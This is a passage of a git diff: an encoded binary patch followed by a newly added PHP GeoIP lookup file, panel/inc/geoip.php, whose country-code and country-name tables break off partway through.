zam>ayHoj#_YFi)MSh&#|7PdZ7#{b7rg_}RZ1424Kv+;Srzp(LTz`wHbwfI3H$6+c@ zs&D=;z>-|M*!teaVH-c#_>lu|H|vRIW^ClCWkeqQNHrdQ`-_cVZGo*&} z+xWxAf%fK9jX!P7ZB*_r8-J_gvwQwSQ`^n)N=G<)@DYHGM)l2EKvo82nlZ~|P$h$^ z;t-b4pn^z6A=6e#q;dwVX#W%SYLd`N-{UfK!IvLazuP3Z8Y!LW1%$Of5 zFbGF%&XTpOS&cL1xQtUXXp%8!8=jmoClQ?@B&nP*?dmjUFoUKUGaEL`;M@#aWY9cg z&T!y$Mh0if>n!2f!gDg%5gh8sGiuJupq1q33u)&9k(R;>Gw^5C)`9OuB5g9bIFRuC zy)U%;}xoS!G9#^vIy62>F#PYP}H7Mb3wZ%Km9=nrQC~uFaUU zKKf+Lh_ST3RlS~>lJ>`~_xaeD6=yy*wMJynUwnX&!hs@#G8il}B#>V(GBkr>f#ik^ zZWJG$F=s^Z;@J*tKOR!vI5icX z62LP+h@3h(nNDEKQ9~Wt(7HW?JD7_K7MEwuyIXg%uW`!GVDi`I{ME^dg0b8!G9`n1 zGMJjdw4hbY%3!+qy~6v1_X}qTX9^z>J}7)hSgoG<4;ru88SEQv79MjmcqD^LSyawq zUIvdc<(`?fAIo4qyMu$QgU2&ikilCSyq&=l87yRD&fwJy7G8Y>mSylvP|nLUV6m`jc=5E}5Dy?KXAZjOuO3&hDQ2)X zgIAc}a@LD#RGdLxV#8x=&tO%?e50{CgEb-#RJC|fLS%ohS>G&gE?H--&)~HTwq>wA zgV!_Ikii=nY|MZMQZZrdHMK^VMzu+G%1MfCcyq=a>$F9zBj6Mj_5wm716{h}do!`v*)( zRcjx8)lK$iz(Qbu`8b15GB~J=|BqE%-6%KNSk{G8Kn4dgW`O1OSq7g6{0osUGx$p6 z>p*_xfie!}}zR%!r20vu*V+Kt8vKkhT3S?3Il)=v#{FA}IYM;Ld zf6w4owP&{f-_)K-{*e7Yg?|Nc{Vg(4M@bxE$8pRVJC>%PG>VSun z#GIr3m#etAcp{J_9i+t5LOYN%)XB}v{O&qt;$s%rd2A?V#YG=-^}rr#Sr3 z7_}VKchJB=Z3lH6)OApgYE8}mL0;1lqiiH>-mF2MbJEbki4Gb&XyV``2aO!_rxFhP zT%~W24wbt+ZEdV?@s6NhGwW0br?D6vobTXtX4XM-2WL2F=77IP%$;sdsOGKBj@qU> zvzu`AIMcydj+qh8W_q|@b#Sg@?mourcB6%32-9OYy z<%=A&aqyvsk33xL;1UP7JGjHarHt1>I|r9J`1>QXPRPDzet^>6F}Fo8b+GvF;|>lk zchFI_f1`up4mvsL?4XMz-Gp5obKW2$xSkb}YU>cuwT zppW=9!roHmuR8iV=qE{kHt+J*bwb*w7o!;9V4wq^)0grg4z71FR6&lF(`%T7H%On( z5i)g)gE0<9I=IQfC`C%MHwQLH2g#uD)?@fs2jk=%FPtE}P3RvmH8J3KI+)~Os)K0` zmY;6%R`f0hlO0^F!^-Y<%yctFb;@eJhlM}W;>F%HH)Q3yTGQ3+?{#pWgZmxKa4^%s zBOc~?c)-DfY&pDd^6-#@Sq>(+nCN1*gNGedb8(!DIS%GJ*zI5sLphk|;3dZ8;8FHj z2TwV8+QEDd{tgx~%Z^$6EO79IgN2Scs)gsb(>_;LMBYv=QFKckJjqn)wvKXc2ym4( z=yYqDgJ)R64qjkR9X!h}#=7P);4qWpd*#h-HJ70L`@jkZD;>P(n6uM4TGBFaFp0Bu z-peWns~v1)A9t|E!CD9F9lYk?6$k5-fLGaNMwp)tFm_s|%^mX%f8D_b2X9D+LZ079 zA=5^)n;mR%@TP+u^4;oSn}h9+Ii{F8EbYOkA2qns!CMaAcCbr{rx7NM^EK6YR9CY$ z7V#Yi?>hL&!Osr%I(W~)=MKJb@V}M}y6dE4QS6WIiP0Y$*eKbFCBd4;E;pw9DMEIpo4E5e5+jeHkmwL%mS4e z@OutB4t{X(Bg?IvF+yLSdCva^awSY1I)8ESD~CiEaPgai-`U?C{Nvycnf=qjUmOMl z<;NOZlg~1@Z2vkq;_yF_D09K11=&>m7>V4@B2rS`MFkgCT+=Kox~Sx$vN*kbgUlma z4pUWCa;ohfWmR`k!^K4|+PJ9c;&>PJT{LiUf{Ty~*M;XI>>}bK=_2JK>LTVM?jj*0 zekJm#Qd(o_@t%lrrCr!AGA{m@4dDV4MkEvBI*gV*VTMsnL)P^ojba94@GhLkIqLGVJU7Y5kv5O`y zPIhsMiyfQFSQNCz5;*@Ui_LgqO|x!1-9=Lu&0I8h&E6UpjefV{FM)W#J6pw+a@JWc z&USIWiwj(wchS)`9hMg@a4|!q1sbH~E-t#d zxI*Q_G;`MA+KFDgn$)ynvC_qhE|$7@(#3KY&$@Vu23;(3@r(;D5BzpWYkL|TZ5~X|b1t5D@q&vL zDl2vz+Vrc5|C43GvZ7yd@v@6oTk%Ef9IYh0{V39u4b2+ZK}Ck>&K!C!T;-o`kWAV-?Z*eYQM9ll!E_TUxx7y^XYb>^H8fWXG=DRNTy4dgHLxy$nzKaiB?2|rq z*eYgrGWR=7tzU*8x%k+{CocYXOv`_>u8E5&XWely`OL-VE`D_JlZ!80e94j4#UU48 zx%k?}K^Nb!6CG#DnfiY1uw-g)GqHT<;(Mj@2bJ?-rKIsqmaPen%G@*mnNhPByZFn+ zuN?ec{O;lpc1Av!*1W@Ul2Z>?s!S4X{>|aV#lJ3&xL^;ZknP-Wa*w`laX*#;%Xt8A zCp|RvP~JlY51xmthl(C5c?f%mc&O~5iiheRYUswZs)uSGjuU4~U|}*x{(N22!|@(Y z@DTD$s`%i*?^B%MSfp$%OheQ|%tP9P?IG?V;UVcE<)Ny2B2DpPv9O@1%!_kh#)IR* z^^VSK%o^JaFOr;xyoZJ!PV`Wqf`>XD>Ut=7sO6!yf2XWjfU$E_VKNx1o`?D#8pxMU zu4;U1EJh}ql9N0%@o=(-Mjje_W~}2yInzcw#lxu{PE#H!=aS$*uVx;ad*~#~XLvZ% z!$lt2csR?$*&fdKaDj(&Je=#Hg@^Mza|`BYnHI>IUp6Y{y`_f>J+$)B+B3^AzchSh zHU=h=!izmz;-S5V4jwM`(AGmc50^=w9gU{`vq@!!^@CsTp`%hxArntwXAfOGboFqB zhn@_sRCV*v-9ry?zt__smlL#kl`7)up!7H|(<|Sw+%+D0d$`s^9}nX_+~%RLhkhPz z@NlDt>pb-LFxbNo1svdEpoc*o*wL5_A_qy1eyoV=r7+aPFwd;4*uZ$IGw;!uYi>#m z_b|f4Xb-n|80q0A52HNX%yt{LK4@fyP^$TzixOHM22pZVyv9{>$uL9wvL36f{3}$<-Z9!)8P*je9&y^)SuDbS0bf z9oNHtQ>U*PoGV!Odzj&2mWSEQFBktF9^|rL?TVUABo`{H_@h049oX1<*uxxIo68yr zBI2J5SQONGl$9di7d*@tp>Uap$Hf`bsk>zu--F|hN-}d#J|Wlc-SblH-!H7GUb~B=N1u4wtCnW2G*hZhi0JFpH7z%y+XIEj6v^2R48T<}tyKO2bbceiq@j3A4cKR}a5Q zLjJplKLY-zhrh)C7XBmrH}E~;!OEI-ewmP@Towp;d65djidnPgPX%tTRpAa~7LQW1 zoK-bzwsfjxaakwX$fRMTabEXHh4MGqX5LLF#64 zTGkYPJvliV)X$F*2Z!BwSRSo;5e5 zP37Ax&}p8<8G#WhpRGbWUr6UUS)4217Q*v{{!Ds77A>>5P!ejk$)c5b>p*gm2)pgY zf#i}bE){PZNZN^9mW97s=HPjG7TgxNK8uc7bjqT07G0z>Ad9Y9T#-d@IlHmav$$Hk zhmdKwGK-!8=a5CoRdV{nV6QB$34AHJHj6%T_RZqDK;BQp58FTcf3xbqECvNSgR>YC za27kOX=oP1vbZ6O8?$D*93|i3;vqSPJ*+tm@Ngy{%{s^#ODeh5&A9Uu`K4Z zHRepH$Fo?#o|r@R9G=KxVHRIy@pTr9vRItO>MYh|u_TM7S-hOZDk69O*)Pg0?qfWq z*7$T5%d&VzCBrg*No08z&jym`M4lJEki`m-m4WYzB1_AeslniUYwrnW2P^_>Z5FR& z@kJJ2W>H03I_ua}mRPT5u|A8}vUoj&Gm9%Hn6G^RF!aW-sQQot(c4f6L-`kw1j2 z!9TOut2d%~iZY$N{>kFs!1qX&TjypB6?58S}}+HFIbh7 zlFB(VUsMs2aJ(gQm)kzxT3o@ZkweWKGC4Ro9G}ApImB{^=Mc&voI@mss2VC?*x(;M zxIMzG@wxWmPt5jsB8OxS=^X4FQVhtKfjMbbwdU!)DemMn;h9$*EKWLZ4qguRb7+u5 zHiujeb#thfGxr+v^~@-rGe3MOC~L(WN+Pv{wS{$r%r)1O91m%eziwyMG|b_|98Sui z5v!&gkFB;AG(`Ib8dB_U7p8rU!^RxmzNL)Md^gaPUP*E}$mGnoLYs5gq8|4uUnEwt z`2eUoU;D}7%^Y^*u#@#w$2_0iy3TY}?v9ebMT49W)nIn1mg%*d>Cqqb-qD!GLU@;b zcBC1O=*wrmd|NVF(b~sxkAu@&31I%)H z>q{1O&McVu{>JCj=l{RxtZ$rcc@St0Uk9!FU=H7~mGa|XA<3Z}z7zjmcsP*%ki(DS zyqBcfFFE|maW#){9>3-Adk+8Ra3qI6a`-cczjOG9&7-lYCU$|pG?FuU&*;ys%qF*h ztUSu{I6jXP^5!XXxjeY##lP7iZ+cVtJSyZ-F>i)DUNuE32`lGOMWm{*nvgojJmfq9&iM*)*{8@;IMWkT>ra(YdsOc}25j9v9}(Dv#EAT$IQ4c??x* z+vL$HZ(hy4Sk6m?mkQeo+X*id(pvjGIt2XkJURxPi@?r#bjhP@9#`ZsK=N*RbkCzt zpwlCd-Q35Jv!`(R0h8dX^0+$C>6OPd0q-qxt*~=BtFK5u;dMfW?a!*zpE3ppl0kV4 z79SEws4y}gW($K83{DEV07d7J|B7$H6~(7!2+r&sf`!j7Fd{&$HY8t&*KhBxI$>5MBbUlBuVZHG&vG77gO@MKaUxC z+!M&B<}oec(?#yhzp=V|yNNvJ2$# zc^*6R*qO&CdHgSrxAJ&9kM~)&W!A2sw8?kpu_upr@<(@I-pk|Nz;~~N{#Fd}1IhOZ z_si=;;YY&%ar~DT*TBzyTUL%Q|42@9fC(@sh+1Fd@ns%A=J8V=U&;4-;n%{03jU4w zw?ek1LwS5B&ZN@RVeub?oOCGpS^N(nWBEnoSK)6Q%=yq$NK=1G_?M7Q8vHkpBY9LS z;J5;;0?G=e5ULVI$g30p@$$k7!ioh{DwtxdEN30Hc|UnR&g4WauaK~Ykk)DzaJ={l z1(Pr;GZ~bJC5#lX)_-}gU`GCU0SS?00T~erQw5|8riI&*_!cO4(A?248j3!CDg1I5Oynv1>qRR?suOxLSnD#|I7-dKznAM-z?HId zm5^gX%bjI>m72c23%Is`>kAl43l*%-np*t-d!GXOGHZITtX~1wF%;DpyO4X@I&5u!8w(*pM35Zavn#K||Ax1q?4>1XH5j9)FumIB5U zaBBg~?*;E#TvYJIt*-iaIor(G0^ZRids_h$3Yb*DT?O#2lR6U%;BENr1+#c#?cY(r zohnB1TbG!kTluo}mu3~aX%YX0jVO= zMa(SVfdbwt;Ozn)EZ`xIq6NHEz^nphGqY-t4+|F*@I(P~#OD_9NCEQ-c(j1WRS1ts z&PK@W%oiu&wiTCf>tHP`U{L`}3wTl~Zcm@gJ`yyephhI*=ir&Z1j zNar&JEHB{M0-h^iMPT{)0$vEXKUwe%(v_01a!2wt#R66p@Ol9o3Rqph8hNc_PZxP5 z2+OSo-flCNR|CmHNK<@>^QQO?;m$x# zYr6{AUBGV)TfiPxdI8@SaHxQH3)sslF5qK!z(D_fl@(VD9~7{!fc=v5nKGmJP@EBw ze^S8z3izUcFAHX$@Y4c5E8ue}94H`poY7%{5Lw7Xek?}(s(`Q65e`a|H_H@$!}Q4J zcM|?2r2P8=4vYUF{4tRG%0DaKUnKlh$ejLBz@G(FEuvZxe--dI2l*n(74eT0j&Rs7 zn&I?cHpTMh^%(Lg<&HK06j8p2ic+W`q%X5Zd`#J|R77RTs}xOt^qb9bf#&f=R1bKK zB5I0r@y6i1PADQ&1mg-95h)@n-(;X4D{neohhR6>+}!xka=Pp>amUZbicD0ts6RX{U9d!}fVm!2QN{F*6=WSZnQyxU7g7 z9BL$NFC0`vhaxU7qGJ)Ais;Q;7ty(hE=BY#;!5dsEuvcy-HW)Q2*2sFKzbZw*%w|_ z#MMQtC~sX;G_9B2xmTd$EBIB=r-dBM*2Vz4;JxM5l^%HVfy1kMa+`#>>}nC@rd}t!Z||bYhDqL7V$(8 z3mKz?j~B6^i1}*yjMs0~e)nO)E|L!Ai-ShXs#zlCrA0g$n5Dw9BAzMY-6HlDvAl?9 zi&#^{+9IAS;`t(07V%;cF9g{v<$Z7fozb!4| z?ZEdfwNDz{B?(t(EW z!e2%FT||`<0|ZG3U-ChN1h*1p{)-t$YipoEqsT*xx# zSG~*4gOYm|TCGah^O5zOcA{FB%qK9c{V<HvC zc%Q=DR& z@-L79ze?ol627lzZg6_5JlQ0;kY@6(=N(oF{Yp5lu~~3lR{|H|!-V~XbPf<1C>$gl zEF4n8^&&%sXO)=+{0-tHH;N1wjwoSd2{)B6ifyulJ4(2-gwZA3qO|eZ&6pt6t!$sN zGggvu!tuh}0-XsZObqz#C2&iS(M>AhE(vFpFj-`p@NVH0;XT5sLhc_j6tC$e+$+g_ z!uw0$+p4_iHB*uYgb%XbxmFa?i~F1pmoTSfM^(K26>$At?@ctT{MaFLKYi$#_QmkOU0J|%owxQzAN${1W;!VvBPv3QRh zd9Gv*tT~td>@#@@4NS_}9EQSgc9G)F5%-6J}KdU>|#AEo>}^K zg|eqAmzgB>us$upx3={EHFX`(RTV*WldISjFnq=ODgK#!0Ta440_F!4hz1oY5`{#G zM8Hr4LBXz|SO5!Puc)Y4P^?E$5y9R?P!LqGpnwQsyL;n1$DDWWxqo(cc6MfV_nqYD zJ-s?-O$KW-s0(@1_>a}xPdJytu#P$zG%)OBF|a=v4xK+r$+cNk=e0w7Kllz$Xu%>|u9Q_||S$w-IzyD*{To{EQXy8{Zpa9u!|ISHSA`Xn2H^DS4aM7W)H)jvPrXhQ7GOhku(nDnNGZieFw`x*8(9AG$5!xb40G8}AZVQ6W5|3w@(t-j3+ z&E+jE(1%t9;Sh_pY6cg{sP(o~V6_w)ZsikA4Ov5FSvXXlQ@NF)wejT|p^e2SvCtp7 z$C{xsy(*RuZH4WG?F}77*xJ$1DdC+Bhl?MPNRAXa%8 zB9y92KL%W$=Y(a#?!q31<3&yo_7u|LUWVQYFE^Yhev+_4*hhG>kou<>P8IK)NKP}p zTqDk%^SWMnA7B`0aR;d1WGW437>;#xahz!wZ1~*pg&ZDY7)~PPDnqs5EW_DqYL)%3 z>V_I>R7mF-hN-DmDd74#S08z7F@q!J&y-Y{tqh)Ls56X`!f3-7!&n)iljlowoMF6y z4pVZ0VS?deDf8n*!zA$w6Ujw}IXvkaXxBpFqfKP%2zwxRw=Vn8o^>7`ElYG(*As{Ojn9;RY2OtB#B4Msb$Ybdedt znZlcdHw$kO&aDlV{HEu?z+5!RhB-U}47VHZFuZMeNB-PtxF@OJyA<=g4Oc5=_p+En zxKFM38y+w`s3<*aSZMK4w{wLL2_I&`i%>q#@TlQ2eSBQ_gmAuaQz|?u@|5st;Q}H1 zK4W}nd0c?c8J;)1VtCc?g5gEOONN&XT%KI@yy805%B`0WImbnY*CbpbeBH2Eg!*qN zanyM;k+92KhNb_rxlB#edDrlsCi@xJh$^`u9|WP+4`k;YciQ!X*k@s); zc_UIGR~{>$p{ovIISbFQ&G3g|MN&E67*>i??JJG)wPBUWY9Zw;TGrAUsjW49tD(PB z>-UCrhV_OY48IySs4SyOsJLu0}Dvu80e;fWW1V^5uepTjs-0E9-EOLnNAfy{R zIvO~3a_sEb#nH^s+_9@;H^;sXMrn7)9*&e_ACGmlr;zJ+FA*NN4IRWr!p6eAg$2SU z!pdx57j`G|YU0%Hx3!~<<1pu4R%q*J=U~i>JZ^o(8fZ~rXfHwu_bayY_#^M==%k4C zEsxd?7e7MCz#b`bl<;WbF~Sm$iqWt=)gG}!@;fsWI~2MGr|Dn)4d44wiB=k3;pOpHKPedri-j|XwT5QaKx91l1i zbexmezgNx-bJRM{l`~^P7*1=Bk&g2mvsII$xXis1YxAT;jM$E=}@y*3-AijwL-qk8HTqahYSL3i5L4 z+~BxTHm`78DRPyNqg*XAML5-QjmWi0>omu8;@1ng`LoM(M-zTq33)T_95*{|p||yQn+he`Dra$t=@I2DvpJgYZI0U=cX&L%`eehMj=L11yFG3o_c&it z7L3MIfzOm<2Jd6ulZ^8ynd^9nLpWY>JS_Rs>i&r4J5NKf*Q1Wd6tTyJ^My|+K~FlK za`5Qnoo!tq<9Jp!nTv&v=OlmL@q*(;SzfN2?Ux)cbG_u}G5C~l&w16c zs6Nq-*Br0Q$eY@o-f%2dMwl!PF(?<21-3*wZ)u37GQQ05w&NYydDrotgiEB)F7NB( z1R42IeLr%1?D)j-Y2yEC$7hbum9j4!%caJ#7))CD(y>C4mBO!tUkll~%Ky7-BL7B# zS|hV-9p5^>Q+;yBU~0Zs>pFGp-!$;2thBs!aZ$%yMQLfeZBcROqIPXNrMr%)sjW&E zr@M_9Ilivu?4hI6KBQ31>0W1!>s2$nD&1rFkaU;Y+H^&19+j@B9#vg8wz}$H6_fn_ literal 0 HcmV?d00001 diff --git a/panel/inc/geoip.php b/panel/inc/geoip.php new file mode 100644 index 0000000..54c8d48 --- /dev/null +++ b/panel/inc/geoip.php @@ -0,0 +1,1882 @@ + 0, + "AP" => 1, + "EU" => 2, + "AD" => 3, + "AE" => 4, + "AF" => 5, + "AG" => 6, + "AI" => 7, + "AL" => 8, + "AM" => 9, + "CW" => 10, + "AO" => 11, + "AQ" => 12, + "AR" => 13, + "AS" => 14, + "AT" => 15, + "AU" => 16, + "AW" => 17, + "AZ" => 18, + "BA" => 19, + "BB" => 20, + "BD" => 21, + "BE" => 22, + "BF" => 23, + "BG" => 24, + "BH" => 25, + "BI" => 26, + "BJ" => 27, + "BM" => 28, + "BN" => 29, + "BO" => 30, + "BR" => 31, + "BS" => 32, + "BT" => 33, + "BV" => 34, + "BW" => 35, + "BY" => 36, + "BZ" => 37, + "CA" => 38, + "CC" => 39, + "CD" => 40, + "CF" => 41, + "CG" => 42, + "CH" => 43, + "CI" => 44, + "CK" => 45, + "CL" => 46, + "CM" => 47, + "CN" => 48, + "CO" => 49, + "CR" => 50, + "CU" => 51, + "CV" => 52, + "CX" => 53, + "CY" => 54, + "CZ" => 55, + "DE" => 56, + "DJ" => 57, + "DK" => 58, + "DM" => 59, + "DO" => 60, + "DZ" => 61, + "EC" => 62, + "EE" => 63, + "EG" => 64, + "EH" => 65, + "ER" => 66, + "ES" => 67, + "ET" => 68, + "FI" => 69, + "FJ" => 70, + "FK" => 71, + "FM" => 72, + "FO" => 73, + "FR" => 74, + "SX" => 75, + "GA" => 76, + "GB" => 77, + "GD" => 78, + "GE" => 79, + "GF" => 80, + "GH" => 81, + "GI" => 82, + "GL" => 83, + "GM" => 84, + "GN" => 85, + "GP" => 86, + "GQ" => 87, + "GR" => 88, + "GS" => 89, + "GT" => 90, + "GU" => 91, + "GW" => 92, + "GY" => 93, + "HK" => 94, + "HM" => 95, + "HN" => 96, + "HR" => 97, + "HT" => 98, + "HU" => 99, + "ID" => 100, + "IE" => 101, + "IL" => 102, + "IN" => 103, + "IO" => 104, + "IQ" => 105, + "IR" => 106, + "IS" => 107, + "IT" => 108, + "JM" => 109, + "JO" => 110, + "JP" => 111, + "KE" => 112, + "KG" => 113, + "KH" => 114, + "KI" => 115, + "KM" => 116, + "KN" => 117, + "KP" => 118, + "KR" => 119, + "KW" => 120, + "KY" => 121, + "KZ" => 122, + "LA" => 123, + "LB" => 124, + "LC" => 125, + "LI" => 126, + "LK" => 127, + "LR" => 128, + "LS" => 129, + "LT" => 130, + "LU" => 131, + "LV" => 132, + "LY" => 133, + "MA" => 134, + "MC" => 135, + "MD" => 136, + "MG" => 137, + "MH" => 138, + "MK" => 139, + "ML" => 140, + "MM" => 141, + "MN" => 142, + "MO" => 143, + "MP" => 144, + "MQ" => 145, + "MR" => 146, + "MS" => 147, + "MT" => 148, + "MU" => 149, + "MV" => 150, + "MW" => 151, + "MX" => 152, + "MY" => 153, + "MZ" => 154, + "NA" => 155, + "NC" => 156, + "NE" => 157, + "NF" => 158, + "NG" => 159, + "NI" => 160, + "NL" => 161, + "NO" => 162, + "NP" => 163, + "NR" => 164, + "NU" => 165, + "NZ" => 166, + "OM" => 167, + "PA" => 168, + "PE" => 169, + "PF" => 170, + "PG" => 171, + "PH" => 172, + "PK" => 173, + "PL" => 174, + "PM" => 175, + "PN" => 176, + "PR" => 177, + "PS" => 178, + "PT" => 179, + "PW" => 180, + "PY" => 181, + "QA" => 182, + "RE" => 183, + "RO" => 184, + "RU" => 185, + "RW" => 186, + "SA" => 187, + "SB" => 188, + "SC" => 189, + "SD" => 190, + "SE" => 191, + "SG" => 192, + "SH" => 193, + "SI" => 194, + "SJ" => 195, + "SK" => 196, + "SL" => 197, + "SM" => 198, + "SN" => 199, + "SO" => 200, + "SR" => 201, + "ST" => 202, + "SV" => 203, + "SY" => 204, + "SZ" => 205, + "TC" => 206, + "TD" => 207, + "TF" => 208, + "TG" => 209, + "TH" => 210, + "TJ" => 211, + "TK" => 212, + "TM" => 213, + "TN" => 214, + "TO" => 215, + "TL" => 216, + "TR" => 217, + "TT" => 218, + "TV" => 219, + "TW" => 220, + "TZ" => 221, + "UA" => 222, + "UG" => 223, + "UM" => 224, + "US" => 225, + "UY" => 226, + "UZ" => 227, + "VA" => 228, + "VC" => 229, + "VE" => 230, + "VG" => 231, + "VI" => 232, + "VN" => 233, + "VU" => 234, + "WF" => 235, + "WS" => 236, + "YE" => 237, + "YT" => 238, + "RS" => 239, + "ZA" => 240, + "ZM" => 241, + "ME" => 242, + "ZW" => 243, + "A1" => 244, + "A2" => 245, + "O1" => 246, + "AX" => 247, + "GG" => 248, + "IM" => 249, + "JE" => 250, + "BL" => 251, + "MF" => 252, + "BQ" => 253, + "SS" => 254 + ); + + public $GEOIP_COUNTRY_CODES = array( + "??", + "AP", + "EU", + "AD", + "AE", + "AF", + "AG", + "AI", + "AL", + "AM", + "CW", + "AO", + "AQ", + "AR", + "AS", + "AT", + "AU", + "AW", + "AZ", + "BA", + "BB", + "BD", + "BE", + "BF", + "BG", + "BH", + "BI", + "BJ", + "BM", + "BN", + "BO", + "BR", + "BS", + "BT", + "BV", + "BW", + "BY", + "BZ", + "CA", + "CC", + "CD", + "CF", + "CG", + "CH", + "CI", + "CK", + "CL", + "CM", + "CN", + "CO", + "CR", + "CU", + "CV", + "CX", + "CY", + "CZ", + "DE", + "DJ", + "DK", + "DM", + "DO", + "DZ", + "EC", + "EE", + "EG", + "EH", + "ER", + "ES", + "ET", + "FI", + "FJ", + "FK", + "FM", + "FO", + "FR", + "SX", + "GA", + "GB", + "GD", + "GE", + "GF", + "GH", + "GI", + "GL", + "GM", + "GN", + "GP", + "GQ", + "GR", + "GS", + "GT", + "GU", + "GW", + "GY", + "HK", + "HM", + "HN", + "HR", + "HT", + "HU", + "ID", + "IE", + "IL", + "IN", + "IO", + "IQ", + "IR", + "IS", + "IT", + "JM", + "JO", + "JP", + "KE", + "KG", + "KH", + "KI", + "KM", + "KN", + "KP", + "KR", + "KW", + "KY", + "KZ", + "LA", + "LB", + "LC", + "LI", + "LK", + "LR", + "LS", + "LT", + "LU", + "LV", + "LY", + "MA", + "MC", + "MD", + "MG", + "MH", + "MK", + "ML", + "MM", + "MN", + "MO", + "MP", + "MQ", + "MR", + "MS", + "MT", + "MU", + "MV", + "MW", + "MX", + "MY", + "MZ", + "NA", + "NC", + "NE", + "NF", + "NG", + "NI", + "NL", + "NO", + "NP", + "NR", + "NU", + "NZ", + "OM", + "PA", + "PE", + "PF", + "PG", + "PH", + "PK", + "PL", + "PM", + "PN", + "PR", + "PS", + "PT", + "PW", + "PY", + "QA", + "RE", + "RO", + "RU", + "RW", + "SA", + "SB", + "SC", + "SD", + "SE", + "SG", + "SH", + "SI", + "SJ", + "SK", + "SL", + "SM", + "SN", + "SO", + "SR", + "ST", + "SV", + "SY", + "SZ", + "TC", + "TD", + "TF", + "TG", + "TH", + "TJ", + "TK", + "TM", + "TN", + "TO", + "TL", + "TR", + "TT", + "TV", + "TW", + "TZ", + "UA", + "UG", + "UM", + "US", + "UY", + "UZ", + "VA", + "VC", + "VE", + "VG", + "VI", + "VN", + "VU", + "WF", + "WS", + "YE", + "YT", + "RS", + "ZA", + "ZM", + "ME", + "ZW", + "A1", + "A2", + "O1", + "AX", + "GG", + "IM", + "JE", + "BL", + "MF", + "BQ", + "SS", + "O1" + ); + + public $GEOIP_COUNTRY_CODES3 = array( + "???", + "AP", + "EU", + "AND", + "ARE", + "AFG", + "ATG", + "AIA", + "ALB", + "ARM", + "CUW", + "AGO", + "ATA", + "ARG", + "ASM", + "AUT", + "AUS", + "ABW", + "AZE", + "BIH", + "BRB", + "BGD", + "BEL", + "BFA", + "BGR", + "BHR", + "BDI", + "BEN", + "BMU", + "BRN", + "BOL", + "BRA", + "BHS", + "BTN", + "BVT", + "BWA", + "BLR", + "BLZ", + "CAN", + "CCK", + "COD", + "CAF", + "COG", + "CHE", + "CIV", + "COK", + "CHL", + "CMR", + "CHN", + "COL", + "CRI", + "CUB", + "CPV", + "CXR", + "CYP", + "CZE", + "DEU", + "DJI", + "DNK", + "DMA", + "DOM", + "DZA", + "ECU", + "EST", + "EGY", + "ESH", + "ERI", + "ESP", + "ETH", + "FIN", + "FJI", + "FLK", + "FSM", + "FRO", + "FRA", + "SXM", + "GAB", + "GBR", + "GRD", + "GEO", + "GUF", + "GHA", + "GIB", + "GRL", + "GMB", + "GIN", + "GLP", + "GNQ", + "GRC", + "SGS", + "GTM", + "GUM", + "GNB", + "GUY", + "HKG", + "HMD", + "HND", + "HRV", + "HTI", + "HUN", + "IDN", + "IRL", + "ISR", + "IND", + "IOT", + "IRQ", + "IRN", + "ISL", + "ITA", + "JAM", + "JOR", + "JPN", + "KEN", + "KGZ", + "KHM", + "KIR", + "COM", + "KNA", + "PRK", + "KOR", + "KWT", + "CYM", + "KAZ", + "LAO", + "LBN", + "LCA", + "LIE", + "LKA", + "LBR", + "LSO", + "LTU", + "LUX", + "LVA", + "LBY", + "MAR", + "MCO", + "MDA", + "MDG", + "MHL", + "MKD", + "MLI", + "MMR", + "MNG", + "MAC", + "MNP", + "MTQ", + "MRT", + "MSR", + "MLT", + "MUS", + "MDV", + "MWI", + "MEX", + "MYS", + "MOZ", + "NAM", + "NCL", + "NER", + "NFK", + "NGA", + "NIC", + "NLD", + "NOR", + "NPL", + "NRU", + "NIU", + "NZL", + "OMN", + "PAN", + "PER", + "PYF", + "PNG", + "PHL", + "PAK", + "POL", + "SPM", + "PCN", + "PRI", + "PSE", + "PRT", + "PLW", + "PRY", + "QAT", + "REU", + "ROU", + "RUS", + "RWA", + "SAU", + "SLB", + "SYC", + "SDN", + "SWE", + "SGP", + "SHN", + "SVN", + "SJM", + "SVK", + "SLE", + "SMR", + "SEN", + "SOM", + "SUR", + "STP", + "SLV", + "SYR", + "SWZ", + "TCA", + "TCD", + "ATF", + "TGO", + "THA", + "TJK", + "TKL", + "TKM", + "TUN", + "TON", + "TLS", + "TUR", + "TTO", + "TUV", + "TWN", + "TZA", + "UKR", + "UGA", + "UMI", + "USA", + "URY", + "UZB", + "VAT", + "VCT", + "VEN", + "VGB", + "VIR", + "VNM", + "VUT", + "WLF", + "WSM", + "YEM", + "MYT", + "SRB", + "ZAF", + "ZMB", + "MNE", + "ZWE", + "A1", + "A2", + "O1", + "ALA", + "GGY", + "IMN", + "JEY", + "BLM", + "MAF", + "BES", + "SSD", + "O1" + ); + + public $GEOIP_COUNTRY_NAMES = array( + "Unknown", + "Asia/Pacific Region", + "Europe", + "Andorra", + "United Arab Emirates", + "Afghanistan", + "Antigua and Barbuda", + "Anguilla", + "Albania", + "Armenia", + "Curacao", + "Angola", + "Antarctica", + "Argentina", + "American Samoa", + "Austria", + "Australia", + "Aruba", + "Azerbaijan", + "Bosnia and Herzegovina", + "Barbados", + "Bangladesh", + "Belgium", + "Burkina Faso", + "Bulgaria", + "Bahrain", + "Burundi", + "Benin", + "Bermuda", + "Brunei Darussalam", + "Bolivia", + "Brazil", + "Bahamas", + "Bhutan", + "Bouvet Island", + "Botswana", + "Belarus", + "Belize", + "Canada", + "Cocos (Keeling) Islands", + "Congo, The Democratic Republic of the", + "Central African Republic", + "Congo", + "Switzerland", + "Cote D'Ivoire", + "Cook Islands", + "Chile", + "Cameroon", + "China", + "Colombia", + "Costa Rica", + "Cuba", + "Cape Verde", + "Christmas Island", + "Cyprus", + "Czech Republic", + "Germany", + "Djibouti", + "Denmark", + "Dominica", + "Dominican Republic", + "Algeria", + "Ecuador", + "Estonia", + "Egypt", + "Western Sahara", + "Eritrea", + "Spain", + "Ethiopia", + "Finland", + "Fiji", + "Falkland Islands (Malvinas)", + "Micronesia, Federated States of", + "Faroe Islands", + "France", + "Sint Maarten (Dutch part)", + "Gabon", + "United Kingdom", + "Grenada", + "Georgia", + "French Guiana", + "Ghana", + "Gibraltar", + "Greenland", + "Gambia", + "Guinea", + "Guadeloupe", + "Equatorial Guinea", + "Greece", + "South Georgia and the South Sandwich Islands", + "Guatemala", + "Guam", + "Guinea-Bissau", + "Guyana", + "Hong Kong", + "Heard Island and McDonald Islands", + "Honduras", + "Croatia", + "Haiti", + "Hungary", + "Indonesia", + "Ireland", + "Israel", + "India", + "British Indian Ocean Territory", + "Iraq", + "Iran, Islamic Republic of", + "Iceland", + "Italy", + "Jamaica", + "Jordan", + "Japan", + "Kenya", + 